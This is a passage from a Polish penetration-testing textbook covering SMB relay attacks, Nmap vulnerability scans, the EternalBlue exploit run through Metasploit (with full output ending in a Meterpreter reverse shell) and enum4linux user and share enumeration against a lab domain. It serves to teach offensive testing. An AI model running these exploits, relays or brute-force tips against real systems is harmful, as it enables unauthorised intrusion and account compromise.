sieci do połączenia się ze złośliwym serwerem SMB, to możesz rozpocząć atak man-in-the-middle,
przekazując dalej żądania uwierzytelniania do serwera sieciowego, podając się za użytkownika,
który połączyć się z Twoim serwerem. Program Responder umożliwia wykonywanie takich ataków
za pomocą skryptu SMBRelay.py, który umożliwia przekazywanie przechwyconych danych uwie-
rzytelniających do zdalnego serwera, dzięki czemu może uwierzytelnić się jako inny użytkownik.
Typową metodą oszukiwania użytkowników jest wykorzystywanie ścieżek UNC (Universal
Naming Convention), takich jak \\192.168.1.1\C$, które po otwarciu w oknie Eksploratora plików
na hoście z systemem Windows sprawiają, że komputer próbuje połączyć się z komputerem o ad-
resie IP 192.168.1.1 za pomocą protokołu SMB. Przy okazji takiego połączenia ujawniane są dane
uwierzytelniające, co umożliwia przeprowadzenie ataku przekazywania komunikatów SMB.
Sam protokół SMB również ma kilka podatności, które można próbować wykorzystywać.
Chcąc poszukać podatności związanych z protokołem SMB, możesz użyć poniższego polecenia,
które uruchamia wszystkie skrypty programu Nmap przeznaczone do wyszukiwania podatności
protokołu SMB. W repozytorium programu Nmap znajdują się skrypty powiązane z każdym biu-
letynem Microsoft Security Bulletin, które za cel obierają sobie porty TCP 137, 138, 139 i 445.
nmap --script=smb-vuln* <AdresIP> -p 137-139,445

A tak wygląda wynik działania tych wszystkich skryptów:

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|

3681988c430c7fe1e8567c4e2f281f7b
3
474 Rozdział 13  Microsoft Windows

| Disclosure date: 2017-03-14

| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-
´attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

W tym przypadku uruchomiono trzy skrypty sprawdzające, czy zainstalowane zostały trzy łatki:
MS10-054, MS10-061 i MS17-010. Program Nmap „uważa”, że w badanym systemie brakuje łatki
MS17-010, która jest powiązana z podatnością CVE-2017-0143 (oprócz tego podawane są też do-
datkowe informacje o podatności).

BIULETYNY MSB

Do samego końca 2018 roku firma Microsoft wydawała biuletyny informacji o bezpieczeń-
stwie opisujące różne podatności wykryte w jej oprogramowaniu. Każdemu biuletynowi na-
dawano numer (podobny do numerów CVE), taki jak MS14-068. Zwykle każdy z tych biulety-
nów był powiązany z przynajmniej jednym numerem CVE. Wszystkie wydane do tej pory
biuletyny można znaleźć pod adresem https://docs.microsoft.com/en-us/security-updates.
Zazwyczaj z każdym biuletynem związana była też łatka aktualizująca omawiane oprogramo-
wanie. Jeżeli w systemie brakuje takiej łatki, to z pewnością jest on nadal podatny na ataki,
co możemy próbować wykorzystać.
Dzisiaj najbardziej aktualnych informacji o podatnościach w oprogramowaniu firmy
Microsoft należy szukać na stronach Microsoft Security Response Center: https://www.microsoft.
com/en-us/msrc.
Microsoft wykorzystuje język CVRF (Common Vulnerability Reporting Framework), który jest
rozwinięciem języka XML na potrzeby ustandaryzowanego zgłaszania podatności i umożliwia
swobodny przepływ informacji o wykrytych podatnościach. Jest on używany do opisywania
zarówno starszych biuletynów bezpieczeństwa, jak i najnowszych aktualizacji. Sam język CVRF
jest używany również w innych organizacjach, a dodatkowe informacje na jego temat można
znaleźć pod adresem: https://www.icasi.org/cvrf.

ETERNALBLUE
ETERNALBLUE to nazwa, jaką agencja NSA nadała exploitowi używanemu do atakowania po-
datnych serwisów SMB. Jest bardzo prawdopodobne, że agencja wykorzystywała podatność
CVE-2017-0143 na długo, zanim ta została oficjalnie udokumentowana w systemie CVE. Ważne
jest też to, że poznaliśmy tę podatność dopiero po tym, jak ujawniono kilka narzędzi podobno
pochodzących z agencji NSA. Mniej więcej w tym samym czasie powstała też poprawka usuwa-
jąca tę podatność. Niestety poprawka nie była jeszcze powszechnie dostępna i wielu administra-
torów nie miało okazji jej zastosować, dlatego złośliwi hakerzy wykorzystali tę okazję i podatność
była globalnie wykorzystywana przez robaka znanego pod nazwą WannaCry. W tym przypadku
ofiarą ataków padały systemy Windows (odwrotnie niż w przypadku podatności SambaCry,
o której mówiliśmy już w rozdziale 9.), a szkody wyrządzane przez te ataki były naprawdę po-
ważne. Wielkie korporacje chętnie korzystające z systemów Windows ponosiły poważne straty.

3681988c430c7fe1e8567c4e2f281f7b
3
ETERNALBLUE 475

Po pewnym czasie powstała poprawka opublikowana w biuletynie bezpieczeństwa MS17-010,

która usuwała poniższe podatności:
 CVE-2017-0143,
 CVE-2017-0144,
 CVE-2017-0145,
 CVE-2017-0146,
 CVE-2017-0147,
 CVE-2017-0148.
CVE-2017-0147 to podatność związana z ujawnianiem informacji, natomiast pozostałe pozycje
z listy są podatnościami na zdalne wykonanie kodu. Nawet po pojawianiu się wspomnianej po-
prawki robak wykorzystujący te błędy nadal atakował komputery wielu osób, uniemożliwiając im
dostęp do swoich plików.
Aby sprawdzić, czy dany komputer jest podatny na ataki, nie wystarczy tylko sprawdzić, czy ma
zainstalowane niezbędne poprawki. Można też skorzystać z exploitu ms17-010_eternalblue do-
stępnego w pakiecie Metasploit. Jest to ten sam kod exploitu ETERNALBLUE, który został przy-
stosowany do działania w tym frameworku. Zaleca się zatem wykonanie próby ataku na komputer
podejrzewany o istnienie tej podatności. (Spróbuj pobrać testową kopię systemu Windows Server
2008 R2, zainstalować ją i włączyć protokół SMBv1, czyli starszą wersję, która jest nadal obsługi-
wana w systemie, nawet w najnowszej wersji Windows Server 2019). Ten exploit został bardzo do-
kładnie opisany, dlatego pamiętaj o poleceniu show info.
Uruchomienie tego exploitu może wywołać błędy serwera, ponieważ powoduje on nadpisanie
wartości pamięci w zdalnym hoście. Zanim uda się poprawnie wykorzystać tę podatność, często
trzeba kilkukrotnie uruchamiać exploit. Jeżeli atak będzie skuteczny, to otwarta zostanie sesja Me-
terpretera, który udostępnia interfejs wzorowany na interfejsach powłoki. W danych z frameworku
Metasploit można przeczytać, że za powstaniem tego exploitu stoi grupa Shadow Brokers and
Equation Group. (Equation Group to nieformalna nazwa działu operacyjnego agencji NSA zajmu-
jącego się uzyskiwaniem dostępu do zasobów komputerowych).
Poniższy wydruk pokazuje, czego można oczekiwać po uruchomieniu exploitu, o ile przepro-
wadzony atak będzie skuteczny. (Dla zwiększenia czytelności z każdego wiersza usunęliśmy infor-
mację o adresie IP i numerze portu, jak również oczyściliśmy nieco wypisywane informacje). Zwróć
uwagę na komunikat =-WIN-=, który jest powtórzeniem komunikatu wypisywanego przez orygi-
nalny exploit z agencji NSA. W tym konkretnym przypadku zastosowaliśmy payload o nazwie
Meterpreter, dlatego w jednym z komunikatów pojawia się tekst Meterpreter session 1 opened.
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 192.168.48.112:4444
[+] Host is likely VULNERABLE to MS17-010!
[+] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] Connecting to target for exploitation.
[+] Connection established for exploitation.
[+] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (51 bytes)
[*] 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard

3681988c430c7fe1e8567c4e2f281f7b
3
476 Rozdział 13  Microsoft Windows

[*] 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac

[*] 0x00000030 6b 20 31 k 1
[+] Target arch selected valid for arch indicated by DCE/RPC reply
[*] Trying exploit with 12 Groom Allocations.
[*] Sending all but last fragment of exploit packet
[*] Starting non-paged pool grooming
[+] Sending SMBv2 buffers
[+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending final SMBv2 buffers.
[*] Sending last fragment of exploit packet!
[*] Receiving response from exploit packet
[+] ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending egg to corrupted connection.
[*] Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.48.110
[*] Meterpreter session 1 opened (192.168.48.112:4444 ->
192.168.48.110:49198)
at 2019-10-16 13:54:46 +0000
[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Pamiętaj, że ten exploit nie działa w 100% przypadków i może przyczyniać się do niestabilności
systemu. (To dlatego we frameworku Metasploit otrzymał tylko średnią ocenę). Aby atak się po-
wiódł, na hoście musi być otwarty port TCP 445, a to zwykle zdarza się tylko w sieciach wewnętrz-
nych. Zdecydowanie odradza się ujawniania serwisów SMB w internecie, dlatego większość sieci
korporacyjnych filtruje ruch protokołu SMB kierowany do internetu, aby zapobiegać wszelkim ata-
kom na ten protokół.

Podczas atakowania kontrolera domeny albo innego ważnego serwera

w sieci należy zachować daleko posuniętą ostrożność, ponieważ nie zawsze wiadomo, jaką
rolę odgrywa dany serwer w sieci i w domenie firmowej. Ogólna zasada mówi, że nie należy
atakować głównych kontrolerów domeny, ale zaleca się zbieranie jak największej ilości in-
formacji na temat ról i odpowiedzialności poszczególnych systemów. Spróbuj zatem zna-
leźć główny kontroler domeny, a następnie kontroler zapasowy (lub kontrolery zapasowe)
i na nich skupiaj swoje ataki. Nie oznacza to, że Twoje działania nie będą powodowały żad-
nych problemów w sieci, ponieważ systemy Windows Server mogą delegować różne role
na wydzielone serwery. Z tego powodu zawsze omawiaj swoje plany z klientem, a dopiero
potem przystępuj do wykorzystywania podatności w jakimkolwiek systemie, który może
być niezbędny do prawidłowego funkcjonowania całej firmy. Unieruchomienie ważnego
systemu produkcyjnego może spowodować ogromne zniszczenia, dlatego skupienie ata-
ków na innych systemach z tej samej przestrzeni adresów IPv4 zazwyczaj jest całkowicie
wystarczające. Po uzyskaniu dostępu do kontrolera domeny skorzystaj z takich poleceń jak
net view, aby przejrzeć listę zasobów sieciowych.

Na rysunku 13.6 można zobaczyć, co pojawia się na ekranach komputerów zaatakowanych jed-
nym z robaków z rodziny WannaCry. W tym przypadku robak Wana Decrypt0r podaje instrukcje
opłacenia okupu za zaszyfrowane dane.

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników 477

Rysunek 13.6. Wana Decrypt0r 2.0

Enumerowanie użytkowników
Jeżeli host udostępnia usługi SMB, to taka usługa umożliwia też wykonywanie innych operacji,
które widzieliśmy już podczas omawiania usług Samba. Pozwala ona na enumerowanie różnych
szczegółowych informacji o systemie, między innymi nazw użytkowników. Możesz zatem użyć
programu Enum4linux (polecenie enum4linux <AdresIP>), który wykorzystuje identyfikatory RID
przekazywane do usługi SMB, aby enumerować dostępne informacje, takie jak listy hostów, nazw
użytkowników, udziałów sieciowych oraz innych danych konfiguracyjnych. Dzisiaj system Win-
dows jest zdecydowanie lepiej zabezpieczony niż w czasach, gdy nie miał nawet własnej zapory
sieciowej. Aktualnie większość nowo instalowanych serwerów ma domyślnie włączone funkcje za-
bezpieczające, co uniemożliwia enumerowanie informacji, chyba że administrator samodzielnie
włączy tę możliwość. W poniższym wydruku widać informacje, jakie można enumerować za po-
mocą programu Enum4linux.
==========================
| Target Information |
==========================
Target ........... 192.168.48.110
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

3681988c430c7fe1e8567c4e2f281f7b
3
478 Rozdział 13  Microsoft Windows

======================================================
| Enumerating Workgroup/Domain on 192.168.48.110 |
======================================================
[+] Got domain/workgroup name: HACKERHOUSE
==============================================
| Nbtstat Information for 192.168.48.110 |
==============================================

Looking up status of 192.168.48.110

WIN2008R2 <00> - B <ACTIVE> Workstation Service
HACKERHOUSE <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
HACKERHOUSE <1c> - <GROUP> B <ACTIVE> Domain Controllers
HACKERHOUSE <1b> - B <ACTIVE> Domain Master Browser
WIN2008R2 <20> - B <ACTIVE> File Server Service

MAC Address = 08-00-27-A2-2E-A8

=======================================
| Session Check on 192.168.48.110 |
=======================================
[+] Server 192.168.48.110 allows sessions using username '', password ''
=============================================
| Getting domain SID for 192.168.48.110 |
=============================================
Domain Name: HACKERHOUSE
Domain Sid: S-1-5-21-1500211425-9548422-911967473
[+] Host is part of a domain (not a workgroup)
========================================
| OS information on 192.168.48.110 |
========================================
Use of uninitialized value $os_info in concatenation (.) or string at
./enum4linux.pl line 464.
[+] Got OS info for 192.168.48.110 from smbclient:
[+] Got OS info for 192.168.48.110 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
===============================
| Users on 192.168.48.110 |
===============================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

===========================================
| Share Enumeration on 192.168.48.110 |
===========================================
smb1cli_req_writev_submit: called for dialect[SMB2_10]
server[192.168.48.110]
do_connect: Connection to 192.168.48.110 failed
(Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

Sharename Type Comment

--------- ---- -------
Error returning browse list: NT_STATUS_REVISION_MISMATCH
Reconnecting with SMB1 for workgroup listing.
Failed to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 192.168.48.110

======================================================
| Password Policy Information for 192.168.49.110 |
======================================================

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników 479

[E] Unexpected error from polenum:

[+] Attaching to 192.168.48.110 using a NULL share

[+] Trying protocol 445/SMB...

[!] Protocol failed: SAMR SessionError: code: 0xc0000022 -

STATUS_ACCESS_DENIED - {Access Denied} A process has requested
access to an object but has not been granted those access rights.

[+] Trying protocol 139/SMB...

[!] Protocol failed: Cannot request session (Called Name:192.168.48.110)

[E] Failed to get password policy with rpcclient

=======================================================================
| Users on 192.168.48.110 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[I] Found new SID: S-1-5-21-818678127-873638857-2913373851
[I] Found new SID: S-1-5-21-1500211425-9548422-911967473
[+] Enumerating users using SID S-1-5-21-1500211425-9548422-911967473
and logon username '', password ''
S-1-5-21-1500211425-9548422-911967473-500 HACKERHOUSE\hhadmin (Local User)
S-1-5-21-1500211425-9548422-911967473-501 HACKERHOUSE\Guest (Local User)
S-1-5-21-1500211425-9548422-911967473-502 HACKERHOUSE\krbtgt (Local User)
S-1-5-21-1500211425-9548422-911967473-512 HACKERHOUSE\Domain Admins (Domain Group)
S-1-5-21-1500211425-9548422-911967473-513 HACKERHOUSE\Domain Users (Domain Group)
S-1-5-21-1500211425-9548422-911967473-514 HACKERHOUSE\Domain Guests (Domain Group)
S-1-5-21-1500211425-9548422-911967473-515 HACKERHOUSE\Domain Computers (Domain Group)
S-1-5-21-1500211425-9548422-911967473-516 HACKERHOUSE\Domain Controllers (Domain Group)
S-1-5-21-1500211425-9548422-911967473-517 HACKERHOUSE\Cert Publishers (Local Group)
S-1-5-21-1500211425-9548422-911967473-518 HACKERHOUSE\Schema Admins (Domain Group)
S-1-5-21-1500211425-9548422-911967473-519 HACKERHOUSE\Enterprise Admins (Domain Group)
S-1-5-21-1500211425-9548422-911967473-520 HACKERHOUSE\Group Policy Creator Owners
(Domain Group)
S-1-5-21-1500211425-9548422-911967473-521 HACKERHOUSE\Read-only Domain
Controllers (Domain Group)
S-1-5-21-1500211425-9548422-911967473-1000 HACKERHOUSE\TS Web Access
Computers (Local Group)
S-1-5-21-1500211425-9548422-911967473-1001 HACKERHOUSE\TS Web Access
Administrators (Local Group)
S-1-5-21-1500211425-9548422-911967473-1002 HACKERHOUSE\WIN2008R2$ (Local User)
[+] Enumerating users using SID S-1-5-21-818678127-873638857-2913373851
and logon username '', password ''
S-1-5-21-818678127-873638857-2913373851-500 WIN2008R2\Administrator (Local User)
S-1-5-21-818678127-873638857-2913373851-501 WIN2008R2\Guest (Local User)
S-1-5-21-818678127-873638857-2913373851-513 WIN2008R2\None (Domain Group)

Widzimy tutaj te same informacje na temat protokołu NetBIOS, które uzyskaliśmy już wcześniej
za pomocą programu NBTscan, ale tym razem otrzymaliśmy nieco więcej szczegółów. Dowiedzie-
liśmy się, że serwis <1b> pełni funkcję głównej przeglądarki domeny (ang. domain master browser),
natomiast serwis <1c> jest kontrolerem domeny. Jest on częścią grupy kontrolera domeny ob-
sługującego domenę o nazwie HACKERHOUSE, natomiast serwis <00> ma przypisaną nazwę
Domain/Workgroup Name, co oznacza, że ten system rzeczywiście jest częścią domeny HACKERHOUSE.
W informacjach z programu Enum4linux można też zobaczyć dane dla protokołu NetBIOS, z któ-
rych wynika, że jest to serwer plików, ponieważ serwis <20> został zidentyfikowany jako serwis

3681988c430c7fe1e8567c4e2f281f7b
3
480 Rozdział 13  Microsoft Windows

serwera plików. Przeglądając dalej dane z programu Enum4linux, widzimy zapis Domain Sid:
S-1-56587579696. To identyfikator bezpieczeństwa (SID) wykorzystywany przez niektóre narzę-
dzia podczas pracy z domenami. Każda stacja robocza również ma swój własny identyfikator SID,
który jest używany podczas uwierzytelniania w danej stacji roboczej, ale nie w domenie. Program
Enum4linux przeszukuje również wszystkie identyfikatory RID, zaczynając od numeru 500 (konto
administratora o podobnym znaczeniu do linuksowego użytkownika root), i przechodzi przez
kolejne wartości, co pozwala ujawnić konta użytkowników oraz zasoby sieciowe, takie jak grupy
i przypisane im reguły. Jak widać, nazwę konta lokalnego administratora zmieniono na hhadmin.
Jest to często stosowana metoda, która spowalnia siłowe ataki na hasła administratorów. Na liście
znajduje się też standardowy użytkownik guest oraz konto krbgtg, o którym mówiliśmy wcześniej
przy analizie protokołu Kerberos.
Nie wszystkie kroki podejmowane przez program Enum4linux zostały zakończone sukcesem
(usunęliśmy je z wyników, żeby skrócić cały wydruk). Podczas używania tego programu na pewno
zobaczysz takie komunikaty jak NT_STATUS_ACCESS_DENIED i podobne. Można oczekiwać, że kon-
trolery domen oraz inne komputery ustawione wysoko w hierarchii sieci Windows zostaną po-
prawnie skonfigurowane i nie będą pozwalały na wykonywanie takiego badania parametrów sieci.
Niestety komputery o mniejszym znaczeniu w sieci mogą nie być tak dobrze zabezpieczone, a czę-
sto poziom ich zabezpieczeń jest zmniejszany dla zwiększenia wygody pracy administratorów albo
z powodu konieczności współpracy ze starszym systemem. To właśnie takie hosty mogą umożliwiać
zdobycie przyczółku w atakowanej sieci, od którego można będzie przechodzić na kolejne hosty,
aż do tych najważniejszych.
Dzięki takiemu badaniu powinno udać się zdobyć kilka nazw użytkowników oraz ich identyfi-
katorów RID. Możesz zatem spróbować połączyć się z tym serwerem, choć najpierw będzie trzeba
zdobyć hasła do tych kont. Trzeba jednak zachować ostrożność przy próbach zgadywania haseł
użytkowników systemu Windows lub przy stosowaniu metod siłowych, ponieważ konta takich
użytkowników mogą zostać szybko zablokowane (a to oznacza, że nikt nie będzie mógł z nich sko-
rzystać). Jedynym kontem, które można próbować atakować siłowo, jest konto administratora
(RID 500). Tylko to konto nie podlega zasadom blokowania kont zdefiniowanym w regułach grup
pobieranych z konfiguracji środowiska korporacyjnego.

Po uzyskaniu danych uwierzytelniających dla konta użytkownika o niskim pozio-

mie uprawnień możesz użyć tych danych w uruchamianych narzędziach enumeracyjnych
oraz innych skryptach. W ten sposób na pewno zdobędziesz więcej informacji, niż gdyby te
programy były uruchamiane bez żadnych danych uwierzytelniających. To właśnie w ten
sposób można stopniowo gromadzić dane na temat środowiska z systemami Windows.

Uruchom teraz program Enum4linux z opcją -a i danymi uwierzytelniającymi, pozwalając mu

przeprowadzić „prostą enumerację wszystkich parametrów”.
enum4linux -a -u HACKERHOUSE\\helpdesk -p password <AdresIP>

Starting enum4linux v0.8.9

( http://labs.portcullis.co.uk/application/enum4linux/ )
on Wed Jan 29 22:34:05 2020

==========================

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników 481

| Target Information |
==========================
Target ........... 192.168.48.104
RID Range ........ 500-550,1000-1050
Username ......... 'HACKERHOUSE\helpdesk'
Password ......... 'password'
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

======================================================
| Enumerating Workgroup/Domain on 192.168.48.104 |
======================================================
[+] Got domain/workgroup name: HACKERHOUSE

==============================================
| Nbtstat Information for 192.168.48.104 |
==============================================
Looking up status of 192.168.48.104
WIN2008R2 <20> - B <ACTIVE> File Server Service
WIN2008R2 <00> - B <ACTIVE> Workstation Service
HACKERHOUSE <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
HACKERHOUSE <1c> - <GROUP> B <ACTIVE> Domain Controllers
HACKERHOUSE <1b> - B <ACTIVE> Domain Master Browser

MAC Address = 08-00-27-B0-C4-85

=======================================
| Session Check on 192.168.48.104 |
=======================================
[+] Server 192.168.48.104 allows sessions using username 'HACKERHOUSE\
helpdesk', password 'password'

=============================================
| Getting domain SID for 192.16848.104 |
=============================================
Domain Name: HACKERHOUSE
Domain Sid: S-1-5-21-1500211425-9548422-911967473
[+] Host is part of a domain (not a workgroup)

========================================
| OS information on 192.168.48.104 |
========================================
Use of uninitialized value $os_info in concatenation (.) or string at
./enum4linux.pl line 464.
[+] Got OS info for 192.168.48.104 from smbclient:
[+] Got OS info for 192.168.48.104 from srvinfo:
192.168.48.104 Wk Sv PDC Tim NT Windows 2008 R2 AD
platform_id : 500
os version : 6.1
server type : 0x280102b

===============================
| Users on 192.168.48.104 |
===============================
index: 0xebf RID: 0x452 acb: 0x00000210 Account: backup Name: Backup Desc: (null)
index: 0xec7 RID: 0x45a acb: 0x00020010 Account: claire Name: (null) Desc: (null)
index: 0xec8 RID: 0x45b acb: 0x00020010 Account: craigf Name: (null) Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc:
Built-in account for guest access to the computer/domain

3681988c430c7fe1e8567c4e2f281f7b
3
482 Rozdział 13  Microsoft Windows

index: 0xec4 RID: 0x457 acb: 0x00000010 Account: helpdesk Name: (null) Desc: (null)
index: 0xdea RID: 0x1f4 acb: 0x00020010 Account: hhadmin Name: (null) Desc:
Built-in account for administering the computer/domain
index: 0xec0 RID: 0x453 acb: 0x00020010 Account: jennya Name: (null) Desc: (null)
index: 0xec3 RID: 0x456 acb: 0x00020010 Account: jimmys Name: (null) Desc: (null)
index: 0xec2 RID: 0x455 acb: 0x00020010 Account: johnf Name: (null) Desc: (null)
index: 0xe1a RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key
Distribution Center Service Account
index: 0xec1 RID: 0x454 acb: 0x00020010 Account: peterk Name: (null) Desc: (null)
index: 0xec5 RID: 0x458 acb: 0x00020010 Account: svcadm Name: (null) Desc: (null)
index: 0xec6 RID: 0x459 acb: 0x00020010 Account: trident Name: (null) Desc: (null)

user:[hhadmin] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[backup] rid:[0x452]
user:[jennya] rid:[0x453]
user:[peterk] rid:[0x454]
user:[johnf] rid:[0x455]
user:[jimmys] rid:[0x456]
user:[helpdesk] rid:[0x457]
user:[svcadm] rid:[0x458]
user:[trident] rid:[0x459]
user:[claire] rid:[0x45a]
user:[craigf] rid:[0x45b]

===========================================
| Share Enumeration on 192.168.48.104 |
===========================================

Sharename Type Comment

--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
FILES Disk
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 192.168.48.104

//192.168.56.104/ADMIN$ Mapping: DENIED, Listing: N/A
//192.168.56.104/C$ Mapping: DENIED, Listing: N/A
//192.168.56.104/FILES Mapping: OK, Listing: OK
//192.168.56.104/IPC$ [E] Can't understand response:
NT_STATUS_INVALID_PARAMETER listing \*
//192.168.56.104/NETLOGON Mapping: OK, Listing: OK
//192.168.56.104/SYSVOL Mapping: OK, Listing: OK

======================================================
| Password Policy Information for 192.168.48.104 |
======================================================
[E] Unexpected error from polenum:

[+] Attaching to 192.168.48.104 using HACKERHOUSE\helpdesk:password

[+] Trying protocol 445/SMB...

3681988c430c7fe1e8567c4e2f281f7b
3
Enumerowanie użytkowników 483

[!] Protocol failed: SMB SessionError: STATUS_LOGON_FAILURE

(The attempted logon is invalid. This is either due to a bad username
or authentication information.)

[+] Trying protocol 139/SMB...

[!] Protocol failed: Cannot request session (Called Name:192.168.48.104)

[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled

Minimum Password Length: 6

================================
| Groups on 192.168.48.104 |
================================

[+] Getting builtin groups:

group:[Server Operators] rid:[0x225]
group:[Account Operators] rid:[0x224]
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Administrators] rid:[0x220]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Print Operators] rid:[0x226]
group:[Backup Operators] rid:[0x227]
group:[Replicator] rid:[0x228]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]

[+] Getting builtin group memberships:

Group 'Windows Authorization Access Group' (RID: 560) has member: NT
AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: NT
AUTHORITY\Authenticated Users
Group 'Terminal Server License Servers' (RID: 561) has member:
HACKERHOUSE\WIN2008R2$
Group 'Terminal Server License Servers' (RID: 561) has member: NT
AUTHORITY\NETWORK SERVICE
Group 'Certificate Service DCOM Access' (RID: 574) has member: NT
AUTHORITY\Authenticated Users
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\hhadmin
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\backup
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\jennya
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\johnf
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\jimmys
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\helpdesk
Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\trident

3681988c430c7fe1e8567c4e2f281f7b
3
484 Rozdział 13  Microsoft Windows

Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\claire

Group 'Remote Desktop Users' (RID: 555) has member: HACKERHOUSE\craigf
Group 'Users' (RID: 545) has member: NT AUTHORITY\INTERACTIVE
Group 'Users' (RID: 545) has member: NT AUTHORITY\Authenticated Users
Group 'Users' (RID: 545) has member: HACKERHOUSE\Domain Users
Group 'IIS_IUSRS' (RID: 568) has member: NT AUTHORITY\IUSR
Group 'Administrators' (RID: 544) has member: HACKERHOUSE\hhadmin
Group 'Administrators' (RID: 544) has member: HACKERHOUSE\Enterprise Admins
Group 'Administrators' (RID: 544) has member: HACKERHOUSE\Domain Admins
Group 'Guests' (RID: 546) has member: HACKERHOUSE\Guest
Group 'Guests' (RID: 546) has member: HACKERHOUSE\Domain Guests

[+] Getting local groups:

group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[TS Web Access Computers] rid:[0x3e8]
group:[TS Web Access Administrators] rid:[0x3e9]
group:[DnsAdmins] rid:[0x44f]
group:[Terminal Server Computers] rid:[0x451]

[+] Getting local group memberships:

Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\krbtgt
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Domain Controllers
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Schema Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Enterprise Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Cert Publishers
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Domain Admins
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Group Policy Creator Owners
Group 'Denied RODC Password Replication Group' (RID: 572) has member:
HACKERHOUSE\Read-only Domain Controllers

[+] Getting domain groups:

group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[DnsUpdateProxy] rid:[0x450]

[+] Getting domain group memberships:

Group 'Domain Guests' (RID: 514) has member: HACKERHOUSE\Guest
Group 'Domain Admins' (RID: 512) has member: HACKERHOUSE\hhadmin
